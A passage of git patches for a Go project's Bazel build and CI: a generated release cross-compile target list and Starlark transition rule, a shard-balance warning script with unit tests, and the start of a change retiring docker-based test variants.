"//internal/github:github", + "//internal/gitignore:gitignore", + "//internal/gitlab:gitlab", + "//internal/gittraceenv:gittraceenv", + "//internal/hooks:hooks", + "//internal/httpapi/apigen:apigen", + "//internal/httpapi/spec:spec", + "//internal/httpapi/wireshape/cmd/gendigest:gendigest", + "//internal/httpapi/wireshape:wireshape", + "//internal/httpapi:httpapi", + "//internal/httpclient/encode:encode", + "//internal/httpclient/wire:wire", + "//internal/httpclient:httpclient", + "//internal/idgen:idgen", + "//internal/jira:jira", + "//internal/linear:linear", + "//internal/lockfile:lockfile", + "//internal/memoryapi:memoryapi", + "//internal/metrics:metrics", + "//internal/migration/legacysqlite:legacysqlite", + "//internal/migration:migration", + "//internal/molecules:molecules", + "//internal/notion:notion", + "//internal/procid:procid", + "//internal/query:query", + "//internal/recipes:recipes", + "//internal/remotecache:remotecache", + "//internal/routing:routing", + "//internal/storage/backendnames:backendnames", + "//internal/storage/backends:backends", + "//internal/storage/batchbench:batchbench", + "//internal/storage/batchfixtures:batchfixtures", + "//internal/storage/contextinfo:contextinfo", + "//internal/storage/createbatchequiv:createbatchequiv", + "//internal/storage/dberrors:dberrors", + "//internal/storage/dbproxy/identity:identity", + "//internal/storage/dbproxy/pidfile:pidfile", + "//internal/storage/dbproxy/proxy:proxy", + "//internal/storage/dbproxy/server:server", + "//internal/storage/dbproxy/util:util", + "//internal/storage/depid:depid", + "//internal/storage/dolt:dolt", + "//internal/storage/doltutil:doltutil", + "//internal/storage/domain/db:db", + "//internal/storage/domain/fs:fs", + "//internal/storage/domain/git:git", + "//internal/storage/domain:domain", + "//internal/storage/embeddeddolt:embeddeddolt", + "//internal/storage/externaldeps:externaldeps", + "//internal/storage/fs:fs", + "//internal/storage/git:git", + "//internal/storage/issueops:issueops", + "//internal/storage/journalscan:journalscan", + "//internal/storage/kvkeys:kvkeys", + "//internal/storage/memoryops:memoryops", + "//internal/storage/rowid:rowid", + "//internal/storage/schema:schema", + "//internal/storage/sqlbuild:sqlbuild", + "//internal/storage/sqlclass:sqlclass", + "//internal/storage/sqlcount:sqlcount", + "//internal/storage/storagecontract:storagecontract", + "//internal/storage/uow:uow", + "//internal/storage/versioncontrolops:versioncontrolops", + "//internal/storage:storage", + "//internal/telemetry:telemetry", + "//internal/templates/agents:agents", + "//internal/templates:templates", + "//internal/testutil/bazeltest:bazeltest", + "//internal/testutil/credentialcmd:credentialcmd", + "//internal/testutil/fixtures:fixtures", + "//internal/testutil/integration:integration", + "//internal/testutil:testutil", + "//internal/timeparsing:timeparsing", + "//internal/tracker/conformance:conformance", + "//internal/tracker:tracker", + "//internal/types:types", + "//internal/ui:ui", + "//internal/uimd:uimd", + "//internal/utils:utils", + "//internal/validation:validation", + "//internal/versioncheck:versioncheck", + "//internal/workapi/storecounter:storecounter", + "//internal/workapi/storequerier:storequerier", + "//internal/workapi/storereader:storereader", + "//internal/workapi/storereadycounter:storereadycounter", + "//internal/workapi/storestats:storestats", + "//internal/workapi/storeversionreconciler:storeversionreconciler", + "//internal/workapi/storeworkspaceconfig:storeworkspaceconfig", + "//internal/workapi:workapi", + "//internal/workspacegate:workspacegate", + "//internal/worktreeremove:worktreeremove", + "//issueops:issueops", + "//journalops:journalops", + "//memoryops:memoryops", + "//plugins/beads:beads", + "//schema:schema", + "//scripts/bench-ready-indexes:bench-ready-indexes", + "//scripts/check-versions:check-versions", + "//scripts/checkworkflowtags:checkworkflowtags", + "//scripts/internal/testbash:testbash", + "//scripts/migration-test/catalog:catalog", + "//scripts/pr-lint:pr-lint", + "//scripts/repro-dolt-hang:repro-dolt-hang", + "//scripts/repro-dolt-prod-timeouts:repro-dolt-prod-timeouts", + "//scripts/workflowtags:workflowtags", + "//test/conformance:conformance", + "//tools/docsmint:docsmint", + ], +) + +# --- end release_cross --- + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index efb0cc977..896c129af 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -32,6 +32,17 @@ sync step, on every PR) fails on a missing or stale block. Trees in .bazelignore (.beads, website, the nested example modules, agent worktrees, node_modules) are outside Bazel and so outside //:repo_files. +tools/bazel/BUILD.bazel also gets a managed `release_cross` block: the +release_cross_build (tools/bazel/release_cross.bzl) that +scripts/ci/bazel-release-cross-compile.sh builds for every release platform, +listing every go_library and go_binary it can see (the packages `go build +./...` compiles; a private library is compiled by the go_binary that embeds +it) except the cgo-only ones a pure build cannot link (tagged "cgo-only" and +incompatible with //tools/bazel:pure) and testonly fixtures. The script checks +against `bazel query` before it builds that every Bazel package holding Go +targets is reached, so a package this parser misses fails CI instead of +going uncompiled. + With --check nothing is written: stale blocks are printed as a diff and the exit status is 1 (see `make bazel-sync-check`). """ @@ -65,11 +76,24 @@ TREES = ( BEGIN = "# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) ---" END = "# --- end go_srcs ---" +RELEASE_BEGIN = "# --- begin release_cross (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) ---" +RELEASE_END = "# --- end release_cross ---" +RELEASE_PKG = "tools/bazel" +# Built in every release configuration besides the Go targets. +RELEASE_EXTRA_TARGETS = (":pure_bd_has_no_cgo_only_deps",) +# Visibilities that let //tools/bazel:release_cross depend on a target. +RELEASE_VISIBLE = ('"//visibility:public"', '"//:__subpackages__"', '"//tools/bazel:__pkg__"') +# A buildifier-formatted go_library/go_binary call and its name. +GO_RULE_RE = re.compile(r'^(go_library|go_binary)\(\n name = "([^"]+)",\n(.*?)^\)', re.DOTALL | re.MULTILINE) +# How a cgo-only target opts out of pure builds (see +# internal/storage/embeddeddolt/cmd/BUILD.bazel and the "cgo-only" tag in +# scripts/bazel_policy_test.go). +CGO_ONLY_TAG = '"cgo-only"' REPO_BEGIN = "# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) ---" REPO_END = "# --- end repo_files ---" BLOCK_RES = tuple( re.compile(r"\n*" + re.escape(begin) + r".*?" + re.escape(end) + r"\n*", re.DOTALL) - for begin, end in ((BEGIN, END), (REPO_BEGIN, REPO_END)) + for begin, end in ((BEGIN, END), (RELEASE_BEGIN, RELEASE_END), (REPO_BEGIN, REPO_END)) ) SKIP_DIRS = {"testdata", "node_modules"} @@ -206,6 +230,43 @@ def repo_files_block(pkg: str, packages: list[str]) -> str: return "\n".join(lines) + "\n" +def go_targets(packages: list[str]) -> list[str]: + """Every go_library and go_binary that a pure build can compile.""" + labels = [] + for pkg in packages: + with open(os.path.join(pkg, "BUILD.bazel")) as f: + src = f.read() + for kind, name, body in GO_RULE_RE.findall(src): + # cgo-only: `go build ./...` skips it with CGO_ENABLED=0. + # testonly: a fixture under testdata/, which `./...` excludes. + # Not visible here: a main package's private embedded library + # or a package-restricted helper; its package is covered by a + # visible target (or the script's package check fails). + if CGO_ONLY_TAG in body or "testonly = True" in body: + continue + vis = re.search(r"^ visibility = \[(.*?)\]", body, re.DOTALL | re.MULTILINE) + if not vis or not any(v in vis.group(1) for v in RELEASE_VISIBLE): + continue + path = "" if pkg == "." else pkg + labels.append(f"//{path}:{name}") + return sorted(labels) + + +def release_cross_block(targets: list[str]) -> str: + lines = [ + RELEASE_BEGIN, + "", + "# manual: needs --//tools/bazel:release_platforms (see above).", + "release_cross_build(", + ' name = "release_cross",', + ' tags = ["manual"],', + " targets = [", + ] + lines += [f' "{t}",' for t in sorted(RELEASE_EXTRA_TARGETS) + targets] + lines += [" ],", ")", "", RELEASE_END] + return "\n".join(lines) + "\n" + + def rewrite(path: str, new_blocks: list[str], check: bool) -> bool: """Bring path's managed blocks up to date; return True if any was stale. @@ -266,6 +327,8 @@ def main(argv: list[str]) -> int: for pkg in packages: path = os.path.join(pkg, "BUILD.bazel") blocks = [block(pkg, wanted[pkg])] if pkg in wanted else [] + if pkg == RELEASE_PKG: + blocks.append(release_cross_block(go_targets(packages))) blocks.append(repo_files_block(pkg, packages)) changed = rewrite(path, blocks, check) if changed: diff --git a/tools/bazel/release_cross.bzl b/tools/bazel/release_cross.bzl new file mode 100644 index 000000000..ad2f0fbe3 --- /dev/null +++ b/tools/bazel/release_cross.bzl @@ -0,0 +1,55 @@ +"""Build Go targets for every release platform in one Bazel invocation. + +scripts/ci/bazel-release-cross-compile.sh passes the platforms of +scripts/ci/release-targets.txt as --//tools/bazel:release_platforms; the +split transition below then configures every target once per platform, with +pure Go (cgo off), so all platforms build in parallel on the remote workers +instead of one `bazel build --platforms=...` after another. +""" + +def _release_platforms_transition_impl(settings, _attr): + platforms = settings["//tools/bazel:release_platforms"] + if not platforms: + fail("--//tools/bazel:release_platforms is empty; scripts/ci/bazel-release-cross-compile.sh sets it from scripts/ci/release-targets.txt") + return { + platform: { + "//command_line_option:platforms": ["@rules_go//go/toolchain:" + platform], + "@rules_go//go/config:pure": True, + } + for platform in platforms + } + +_release_platforms_transition = transition( + implementation = _release_platforms_transition_impl, + inputs = ["//tools/bazel:release_platforms"], + outputs = [ + "//command_line_option:platforms", + "@rules_go//go/config:pure", + ], +) + +def _release_cross_build_impl(ctx): + return [DefaultInfo(files = depset(transitive = [ + dep[DefaultInfo].files + for deps in ctx.split_attr.targets.values() + for dep in deps + ]))] + +release_cross_build = rule( + implementation = _release_cross_build_impl, + doc = "Builds `targets` for every rules_go platform (_) in --//tools/bazel:release_platforms, with cgo off.", + attrs = { + "targets": attr.label_list( + cfg = _release_platforms_transition, + mandatory = True, + ), + }, +) + +def _string_list_flag_impl(_ctx): + return [] + +string_list_flag = rule( + implementation = _string_list_flag_impl, + build_setting = config.string_list(flag = True), +) From 3f1c6038f01a49a28a128b3e561390c3f882167d Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 04:05:33 +0000 Subject: [PATCH 031/213] ci: warn-only shard-balance budget for bazel-server-storage (#7339) rbe-ci-cost-latency-study.md recommendation 4: this tier's last shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs. tools/bazel/shard_budget.py reads the job's BEP file and prints ::warning when a sharded target's slowest shard exceeds max(150s, 2x median); --fail-on-imbalance (not wired in yet) switches that to ::error and a nonzero exit once the budget has run clean for a while. Co-authored-by: Claude Sonnet 5 --- .github/workflows/bazel.yml | 9 ++ scripts/ci_workflow_test.go | 25 ++++- tools/bazel/shard_budget.py | 162 ++++++++++++++++++++++++++++ tools/bazel/shard_budget_test.py | 180 +++++++++++++++++++++++++++++++ 4 files changed, 371 insertions(+), 5 deletions(-) create mode 100644 tools/bazel/shard_budget.py create mode 100644 tools/bazel/shard_budget_test.py diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index f0da60d84..fc758e7f5 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1707,6 +1707,15 @@ jobs: --suite //internal/storage/dolt:dolt_server_full_test .github/scripts/server-storage-test-shard.sh 16 --whole //internal/storage/dolt:dolt_server_conformance_test + # rbe-ci-cost-latency-study.md recommendation 4: this tier's last + # shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs. Warns + # (::warning) when the slowest shard this run is far above the + # median; does not fail the job yet (--fail-on-imbalance switches + # that on once the budget has run clean for a while). + - name: Shard balance + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: python3 tools/bazel/shard_budget.py --bep "$RUNNER_TEMP/bazel-bep.json" + - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index e8ce12ca1..0cbc8d3b5 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -5030,23 +5030,38 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { // require) or of bazel-integration (which a caller may switch off, // while the server tier always runs remotely). workflow := readCIWorkflow(t, bazelWorkflowName) - for _, c := range []struct{ job, config, logs string }{ - {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs"}, - {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs"}, + for _, c := range []struct { + job, config, logs string + wantSteps int + }{ + {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 8}, + // One more than bazel-proxied: a "Shard balance" step (rbe-ci-cost- + // latency-study.md recommendation 4), since this is the tier whose + // last shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs. + {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 9}, } { job := workflow.job(t, c.job) if job.TimeoutMinutes == 0 || job.TimeoutMinutes > 30 { t.Errorf("%s timeout-minutes = %d; it runs remotely only (longest shard ~2-8 min), keep it at most 30", c.job, job.TimeoutMinutes) } assertBazelTierStep(t, job, c.job, c.config) - if n := len(job.Steps); n != 8 { - t.Errorf("%s has %d steps, want checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, log upload, result recorder", c.job, n) + if n := len(job.Steps); n != c.wantSteps { + t.Errorf("%s has %d steps, want %d (checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, result recorder)", c.job, n, c.wantSteps) } logs := job.step(t, "Upload test logs") if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") { t.Errorf("%s test-log upload: if=%q name=%q uses=%q", c.job, logs.If, logs.With["name"], logs.Uses) } } + if serverStorage := workflow.job(t, bazelServerJobName); true { + budget := serverStorage.step(t, "Shard balance") + if budget.If != "${{ always() && steps.test.outcome != 'skipped' }}" { + t.Errorf("%s Shard balance step if=%q", bazelServerJobName, budget.If) + } + if want := `python3 tools/bazel/shard_budget.py --bep "$RUNNER_TEMP/bazel-bep.json"`; strings.TrimSpace(budget.Run) != want { + t.Errorf("%s Shard balance step runs %q, want %q", bazelServerJobName, strings.TrimSpace(budget.Run), want) + } + } for name, j := range workflow.Jobs { for _, step := range j.Steps { proxied := strings.Contains(step.Run, "--config=doltserver-proxied") diff --git a/tools/bazel/shard_budget.py b/tools/bazel/shard_budget.py new file mode 100644 index 000000000..22dd10506 --- /dev/null +++ b/tools/bazel/shard_budget.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +"""Warn (or fail) when a sharded test's slowest shard is far above its median. + +Usage: shard_budget.py --bep [--fail-on-imbalance] + +Rationale (rbe-ci-cost-latency-study.md, recommendation 4): an unbalanced +shard split quietly grows the critical path of whichever lane runs it. gascity +#7233/#7241 showed the gain of re-splitting a hot shard; this script keeps +that gain from regressing and catches the tier this repository has today: +//internal/storage/dolt:dolt_server_full_test's last shard has trailed the +rest by 4.3-4.5 min in 2 of 8 runs (study Section 3.4). + +Reads one `bazel test` invocation's --build_event_json_file (the same file +tools/bazel/check_testcases.py and check_shard_coverage.py already read) and, +for every sharded test target (shard_count > 1) that this invocation actually +executed at least two shards of, computes: + + median = the median wall time of the shards that executed (not a cache + hit; a cached shard's duration says nothing about balance) + slowest = the maximum of those + +A shard with no executed result (every attempt was a cache hit) is left out +of both: it ran nowhere this invocation. A target with fewer than two shards +left is skipped (not enough evidence this run). + +Thresholds (study Section 6.4, picked from its shard data): + + warn when slowest > max(150s, 2 x median) + fail when slowest > max(300s, 3 x median) -- only with --fail-on-imbalance + +Day one: this prints `::warning` and always exits 0 (CI must not block on +it yet). Pass --fail-on-imbalance (a workflow step can gate this behind a +repository variable) to exit 1 and print `::error` instead, once the budget +has run clean for a while. +""" + +import argparse +import json +import statistics +import sys + +WARN_FLOOR_S = 150.0 +WARN_FACTOR = 2.0 +FAIL_FLOOR_S = 300.0 +FAIL_FACTOR = 3.0 + + +def read_shard_durations(path): + """Return {label: {shard_index: executed_duration_ms}} from a BEP file. + + Only testResult events are read (as equivalence.py's read_bep does); a + shard's duration is the longest executed (non-cached) attempt reported + for it. shard defaults to 1 (an unsharded test), matching Bazel's BEP, + which omits the field for shard_count == 1. + """ + shards = {} + with open(path, encoding="utf-8") as f: + for line in f: + if not line.strip(): + continue + try: + ev = json.loads(line) + except ValueError: + continue + tr_id = ev.get("id", {}).get("testResult") + tr = ev.get("testResult") + if not tr_id or not tr: + continue + cached = bool(tr.get("cachedLocally")) or bool( + (tr.get("executionInfo") or {}).get("cachedRemotely") + ) + if cached: + continue + label = tr_id["label"] + shard = int(tr_id.get("shard") or 1) + ms = int(tr.get("testAttemptDurationMillis") or 0) + per_label = shards.setdefault(label, {}) + per_label[shard] = max(per_label.get(shard, 0), ms) + return shards + + +class Imbalance: + """One sharded test target's balance verdict.""" + + def __init__(self, label, shards, median_ms, slowest_ms, slowest_shard): + self.label = label + self.shards = shards + self.median_ms = median_ms + self.slowest_ms = slowest_ms + self.slowest_shard = slowest_shard + + @property + def warn_threshold_ms(self): + return max(WARN_FLOOR_S * 1000, WARN_FACTOR * self.median_ms) + + @property + def fail_threshold_ms(self): + return max(FAIL_FLOOR_S * 1000, FAIL_FACTOR * self.median_ms) + + @property + def warn(self): + return self.slowest_ms > self.warn_threshold_ms + + @property + def fail(self): + return self.slowest_ms > self.fail_threshold_ms + + def message(self): + return ( + f"{self.label}: shard {self.slowest_shard} of {self.shards} took " + f"{self.slowest_ms / 1000:.0f}s against a median of {self.median_ms / 1000:.0f}s " + f"(warn over {self.warn_threshold_ms / 1000:.0f}s, fail over {self.fail_threshold_ms / 1000:.0f}s)" + ) + + +def evaluate(shard_durations): + """Return a sorted list of Imbalance for every target with >= 2 executed + shards this invocation, whether or not it crosses the warn threshold.""" + out = [] + for label, per_shard in sorted(shard_durations.items()): + if len(per_shard) < 2: + continue + durations = list(per_shard.values()) + median_ms = statistics.median(durations) + slowest_ms = max(durations) + slowest_shard = max(per_shard, key=per_shard.get) + out.append(Imbalance(label, len(per_shard), median_ms, slowest_ms, slowest_shard)) + out.sort(key=lambda i: i.slowest_ms, reverse=True) + return out + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__.split("\n\n")[0]) + ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") + ap.add_argument( + "--fail-on-imbalance", + action="store_true", + help="exit 1 (and print ::error) past the fail threshold; default is warn-only", + ) + args = ap.parse_args(argv) + + shard_durations = read_shard_durations(args.bep) + results = evaluate(shard_durations) + + failed = False + for r in results: + if r.fail and args.fail_on_imbalance: + failed = True + print(f"::error title=shard budget::{r.message()}") + elif r.warn: + print(f"::warning title=shard budget::{r.message()}") + else: + print(f"ok: {r.message()}") + + if not results: + print("shard budget: no sharded test target executed two or more shards in this invocation") + + return 1 if failed else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/bazel/shard_budget_test.py b/tools/bazel/shard_budget_test.py new file mode 100644 index 000000000..0c0718bcf --- /dev/null +++ b/tools/bazel/shard_budget_test.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +"""Unit tests for shard_budget.py. + +Run directly: python3 tools/bazel/shard_budget_test.py +(or: python3 -m unittest tools.bazel.shard_budget_test, from the repo root) +""" + +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +import shard_budget # noqa: E402 + + +def write_bep(events): + f = tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False, encoding="utf-8") + for ev in events: + f.write(json.dumps(ev) + "\n") + f.close() + return f.name + + +def test_result_event(label, shard, ms, cached=False, cached_remotely=False): + return { + "id": {"testResult": {"label": label, "shard": shard}}, + "testResult": { + "testAttemptDurationMillis": str(ms), + "cachedLocally": cached, + "executionInfo": {"cachedRemotely": cached_remotely, "strategy": "remote"}, + }, + } + + +class ReadShardDurationsTest(unittest.TestCase): + def test_collects_executed_durations_per_shard(self): + path = write_bep([ + test_result_event("//x:t", 1, 10_000), + test_result_event("//x:t", 2, 20_000), + ]) + try: + got = shard_budget.read_shard_durations(path) + finally: + os.unlink(path) + self.assertEqual(got, {"//x:t": {1: 10_000, 2: 20_000}}) + + def test_excludes_cached_results(self): + path = write_bep([ + test_result_event("//x:t", 1, 10_000), + test_result_event("//x:t", 2, 999_000, cached_remotely=True), + ]) + try: + got = shard_budget.read_shard_durations(path) + finally: + os.unlink(path) + # Shard 2 was a cache hit: it contributes no duration. + self.assertEqual(got, {"//x:t": {1: 10_000}}) + + def test_unsharded_defaults_to_shard_1(self): + path = write_bep([test_result_event("//x:t", None, 5_000)]) + try: + got = shard_budget.read_shard_durations(path) + finally: + os.unlink(path) + self.assertEqual(got, {"//x:t": {1: 5_000}}) + + def test_ignores_non_test_result_lines(self): + path = write_bep([{"id": {"progress": {}}, "progress": {}}]) + try: + got = shard_budget.read_shard_durations(path) + finally: + os.unlink(path) + self.assertEqual(got, {}) + + def test_malformed_line_is_skipped(self): + f = tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False, encoding="utf-8") + f.write("not json\n") + f.write(json.dumps(test_result_event("//x:t", 1, 1_000)) + "\n") + f.close() + try: + got = shard_budget.read_shard_durations(f.name) + finally: + os.unlink(f.name) + self.assertEqual(got, {"//x:t": {1: 1_000}}) + + +class EvaluateTest(unittest.TestCase): + def test_balanced_shards_do_not_warn(self): + # gascity #7241-shaped data: every shard within a few seconds of the + # others never crosses max(150s, 2x median). + results = shard_budget.evaluate({"//x:t": {i: 60_000 + i * 1000 for i in range(1, 11)}}) + self.assertEqual(len(results), 1) + r = results[0] + self.assertFalse(r.warn) + self.assertFalse(r.fail) + + def test_single_long_pole_warns(self): + # gascity acceptance shard 4 shape: one shard far above the rest. + shards = {i: 80_000 for i in range(1, 10)} + shards[4] = 725_000 + results = shard_budget.evaluate({"//acceptance:t": shards}) + r = results[0] + self.assertTrue(r.warn) + self.assertEqual(r.slowest_shard, 4) + self.assertAlmostEqual(r.slowest_ms, 725_000) + + def test_fail_threshold_is_stricter_than_warn(self): + # beads server-Dolt storage tier shape: a straggler 4.3-4.5 min + # behind an otherwise ~80s median. Over the warn floor (150s, 2x + # median) but under the fail floor (300s, 3x median) until it grows + # further. + shards = {i: 80_000 for i in range(1, 16)} + shards[16] = 250_000 + r = shard_budget.evaluate({"//storage/dolt:t": shards})[0] + self.assertTrue(r.warn) + self.assertFalse(r.fail) + + shards[16] = 400_000 + r = shard_budget.evaluate({"//storage/dolt:t": shards})[0] + self.assertTrue(r.warn) + self.assertTrue(r.fail) + + def test_floor_applies_below_tiny_medians(self): + # A fast, lopsided split (two 5s shards, one 200s shard) must still + # warn even though 2x the 5s median is nowhere near the slowest + # shard; the 150s floor catches it, not the ratio. + r = shard_budget.evaluate({"//x:t": {1: 5_000, 2: 5_000, 3: 200_000}})[0] + self.assertTrue(r.warn) + + def test_fewer_than_two_shards_is_skipped(self): + self.assertEqual(shard_budget.evaluate({"//x:t": {1: 10_000}}), []) + self.assertEqual(shard_budget.evaluate({"//x:t": {}}), []) + + def test_sorted_slowest_first(self): + results = shard_budget.evaluate({ + "//a:t": {1: 10_000, 2: 20_000}, + "//b:t": {1: 10_000, 2: 500_000}, + }) + self.assertEqual([r.label for r in results], ["//b:t", "//a:t"]) + + +class MainTest(unittest.TestCase): + def test_warn_only_exits_zero(self): + shards = {i: 80_000 for i in range(1, 10)} + shards[4] = 900_000 + events = [test_result_event("//x:t", i, ms) for i, ms in shards.items()] + path = write_bep(events) + try: + rc = shard_budget.main(["--bep", path]) + finally: + os.unlink(path) + self.assertEqual(rc, 0) + + def test_fail_on_imbalance_exits_nonzero_past_fail_threshold(self): + shards = {i: 80_000 for i in range(1, 10)} + shards[4] = 900_000 + events = [test_result_event("//x:t", i, ms) for i, ms in shards.items()] + path = write_bep(events) + try: + rc = shard_budget.main(["--bep", path, "--fail-on-imbalance"]) + finally: + os.unlink(path) + self.assertEqual(rc, 1) + + def test_fail_on_imbalance_still_zero_under_fail_threshold(self): + shards = {i: 80_000 for i in range(1, 10)} + shards[4] = 200_000 + events = [test_result_event("//x:t", i, ms) for i, ms in shards.items()] + path = write_bep(events) + try: + rc = shard_budget.main(["--bep", path, "--fail-on-imbalance"]) + finally: + os.unlink(path) + self.assertEqual(rc, 0) + + +if __name__ == "__main__": + unittest.main() From ce661175ff0f227d655767c56611db6c0d4bc58a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 04:13:24 +0000 Subject: [PATCH 032/213] ci(bazel): retire the docker A/B variants and pr.yml's container jobs (#7340) The dolt-server lane (--config=doltserver) has been the only pre-merge run of the Dolt-backed domain, uow, tracker, doctor/fix and protocol suites since BAZEL_COVERS_FORKS went "true": bazel-coverage reports pr_lanes=true for every pull_request and merge_group, so pr.yml's test-domain-uow and contract-corpus never run. An A/B run of every requires-docker target against its dolt-server twin on the same commit shows identical test sets and statuses (2683 testcases) except TestDoltServerFingerprint/container, the container half of the fingerprint, which needs docker by design. Delete the six requires-docker sh_tests, test:docker in .bazelrc, the requires-docker tag from the taxonomy and lane filters, bazel.yml's dolt-lane dispatch input and image pull, and pr.yml's test-domain-uow and contract-corpus jobs with their ci-gate wiring. The testcontainers backend in internal/testutil stays: it is plain go test's default. pull-dolt-image.sh stays for pr-risk.yml's legacy tiers. No required check changes: the rulesets require only CI Gate / Required and PR Risk Gate / Required. Refs ga-96smfk.21 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 70 +++------ .github/workflows/bazel.yml | 56 +++---- .github/workflows/pr.yml | 188 ++-------------------- cmd/bd/doctor/fix/BUILD.bazel | 41 +---- cmd/bd/protocol/BUILD.bazel | 51 +----- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 42 +++-- engdocs/TESTING.md | 8 +- internal/storage/domain/db/BUILD.bazel | 33 +--- internal/storage/uow/BUILD.bazel | 40 +---- internal/testutil/BUILD.bazel | 31 +--- internal/tracker/BUILD.bazel | 27 +--- scripts/bazel_policy_test.go | 49 +++--- scripts/ci_merge_queue_test.go | 10 +- scripts/ci_workflow_test.go | 199 +++++------------------- scripts/pr_lanes_bazel_coverage_test.go | 53 +++---- scripts/pr_risk_bazel_coverage_test.go | 12 +- scripts/pull_dolt_image_test.go | 24 ++- tools/bazel/BUILD.bazel | 2 +- tools/bazel/equivalence.py | 2 +- tools/bazel/race.bzl | 12 +- 20 files changed, 210 insertions(+), 740 deletions(-) diff --git a/.bazelrc b/.bazelrc index 9855a5177..dcd27c345 100644 --- a/.bazelrc +++ b/.bazelrc @@ -49,7 +49,7 @@ test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 # Every tag that belongs to another lane (scripts/bazel_policy_test.go # bazelPRCoreExcludedTags). integration-only targets run zero tests outside # --config=integration. -test:prcore --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-integration-only +test:prcore --test_tag_filters=-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-integration-only test:ci --config=prcore test:ci --keep_going --test_summary=terse @@ -62,29 +62,6 @@ test:ci --remote_download_regex=.*/test\.xml$ # bazel.yml publishes the non-race bd as pr.yml's ci-build-artifacts. test:ci --remote_download_regex=.*/bin/cmd/bd/bd_for_tests/bd$ -# Docker lane: only the requires-docker targets (pr.yml's container-backed -# jobs "Test (storage domain + uow)" and "Contract corpus"), on a host with a -# docker daemon. Race like the domain+uow job (//cmd/bd/protocol's variant -# opts out, like the non-race Contract corpus job), but no -short and no -# BEADS_TEST_SKIP=dolt, which would keep the containers from starting. Those -# targets are also tagged no-remote-exec, so they run on the host even with -# --config=remote-exec; their builds may still run remotely. -test.v in -# test.xml, as in test:ci, lets equivalence.py see which tests ran. -test:docker --@rules_go//go/config:race -test:docker --test_tag_filters=requires-docker -test:docker --build_tests_only -test:docker --keep_going -test:docker --test_env=GO_TEST_WRAP_TESTV=1 -# Those jobs pass no -p/-parallel, so go test uses GOMAXPROCS, ubuntu-latest's -# 4 vCPUs, for both. Match that on any host: 4 test processes (hence at most -# 4 dolt containers starting at once) and -test.parallel=4. -test:docker --local_test_jobs=4 -test:docker --test_arg=-test.parallel=4 -# The variants depend on host state no action key sees (the docker daemon, -# the pulled dolt image, the network), so a cached result proves nothing about -# this host: always run them, like the jobs' `go test -count=1`. -test:docker --nocache_test_results - # Embedded-Dolt tier: PR Risk's embedded jobs ("Test (Embedded Dolt Cmd # N/20)", "Test (Embedded Dolt Storage N/5)", "Test (Embedded Dolt # Conformance - core/audit)"), as the `embedded`-tagged variants of bd_test @@ -121,26 +98,26 @@ test:embedded --remote_download_regex=.*/test\.xml$ # visible "Re-run failed jobs" retries it. test:embedded --experimental_remote_cache_eviction_retries=0 -# Dolt-server lane: the same jobs as the docker lane ("Test (storage domain + -# uow)" and "Contract corpus"), but every dolt sql-server is a child of the -# test process, started from the pinned dolt in the test wrapper's runfiles -# (BEADS_TEST_DOLT_SERVER=local, set by each dolt-server target), so the -# targets run on remote workers and need no docker. Same selection rules as -# test:docker: race (//cmd/bd/protocol's variant opts out, like its job), no -# -short, no BEADS_TEST_SKIP=dolt, -test.parallel=4, and the no--short twins -# of the job's other packages. Results are cacheable: every input (test -# binary, dolt, env) is in the action key, and a server that cannot start -# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1) instead of skipping. -# --config=docker stays as the A/B control. test.xml is downloaded for -# tools/bazel/equivalence.py --job, test.log for bazel.yml's failure artifact. +# Dolt-server lane: what pr.yml's retired container-backed jobs ("Test +# (storage domain + uow)" and "Contract corpus") ran, but every dolt +# sql-server is a child of the test process, started from the pinned dolt in +# the test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local, set by each +# dolt-server target), so the targets run on remote workers and need no +# docker. As those jobs: race (//cmd/bd/protocol's 